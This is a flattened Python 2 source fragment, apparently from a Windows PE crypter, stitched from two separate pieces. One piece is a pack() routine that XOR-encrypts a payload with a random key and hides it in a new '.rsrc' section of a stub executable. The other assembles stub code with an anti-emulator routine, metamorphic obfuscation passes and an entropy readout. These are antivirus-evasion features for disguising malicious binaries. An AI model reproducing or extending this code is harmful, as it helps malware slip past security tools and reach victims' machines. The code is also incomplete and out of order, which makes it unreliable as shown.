def pack(self, stub_path, output_path, input_file): f = open(stub_path, 'rb') stub_file = f.read() f.close() # encrypt the input key_str = '' for i in range(4): key_str += chr(random.randint(1, 0xFF)) input_encrypted = self.xor_long(input_file, key_str) input_file = key_str + input_encrypted # increment the number of sections dos_header = PE.unpack(PE.IMAGE_DOS_HEADER, stub_file) peHeader_offset = dos_header['e_lfanew'] numberOfSections_offset = peHeader_offset + 0x6 numberOfSections = struct.unpack( '<H', stub_file[numberOfSections_offset:numberOfSections_offset + 2])[0] numberOfSections = numberOfSections + 1 stub_file = stub_file[:numberOfSections_offset] + struct.pack( '<H', numberOfSections) + stub_file[numberOfSections_offset + 2:] # add the section header sectionHeader_offset = peHeader_offset + 0xF8 last_section_offset = sectionHeader_offset + ( (numberOfSections - 2) * 0x28) # last section print 'last section: {0:x}'.format(last_section_offset) last_section = PE.unpack(PE.IMAGE_SECTION_HEADER, stub_file[last_section_offset:]) new_section_header_offset = last_section_offset + 0x28 new_section = PE.structDictionary(PE.IMAGE_SECTION_HEADER) new_section['Name'] = '.rsrc' new_section['Misc_VirtualSize'] = len(input_file) new_section['VirtualAddress'] = PE.align_value( last_section['VirtualAddress'] + last_section['SizeOfRawData'], 0x1000) new_section['SizeOfRawData'] = PE.align_value(len(input_file), 0x200) new_section['PointerToRawData'] = PE.align_value(len(stub_file), 0x200) new_section[ 'Characteristics'] = PE.IMAGE_SCN_CNT_INITIALIZED_DATA | PE.IMAGE_SCN_MEM_READ | PE.IMAGE_SCN_MEM_WRITE | PE.IMAGE_SCN_ALIGN_4BYTES stub_file = stub_file[:new_section_header_offset] + PE.packDictionary( PE.IMAGE_SECTION_HEADER, new_section) + stub_file[new_section_header_offset + 0x28:] # section jam stub_file += '\x00' * (new_section['PointerToRawData'] - len(stub_file)) # append the section stub_file += input_file padding = new_section['SizeOfRawData'] - len(input_file) stub_file += '\x00' * padding # increment SizeOfImage optionalHeader_offset = peHeader_offset + 0x18 optionalHeader_size = PE.structSize(PE.IMAGE_OPTIONAL_HEADER) optional_header = PE.unpack(PE.IMAGE_OPTIONAL_HEADER, stub_file[optionalHeader_offset:]) optional_header['SizeOfImage'] = PE.align_value( new_section['VirtualAddress'] + new_section['SizeOfRawData'], 0x1000) stub_file = stub_file[:optionalHeader_offset] + PE.packDictionary( PE.IMAGE_OPTIONAL_HEADER, optional_header) + stub_file[optionalHeader_offset + optionalHeader_size:] # save the file f = open(output_path, 'wb') f.write(stub_file) f.close()
code += asm_seh_function offset_code += len(asm_seh_function) # AntiEmulator asm_anti_emulator = stub.asm_anti_emulator(meta_engine) meta_engine.obfs_block(asm_anti_emulator, obfs_level, obfs_variation) asm_anti_emulator = asm_anti_emulator.assemble() stub.add_function('AntiEmulator', offset_code) code += asm_anti_emulator offset_code += len(asm_anti_emulator) # Program entry_point = base_offset_code + offset_code print 'Entry point: ', hex(entry_point) program_size = PE.align_value( base_offset_data + len(data), 0x1000) # this can be bad... @TODO update the push asm_program = stub.asm_program(meta_engine, base_offset_code, program_size, entry_point) meta_engine.obfs_block(asm_program, obfs_level, obfs_variation, 1) asm_program = asm_program.assemble() code += asm_program offset_code += len(asm_program) (l, h) = hist(data + code) print 'New entropy:', round(entropy(h, l), 2) ######################################################################## # Make the IAT ########################################################################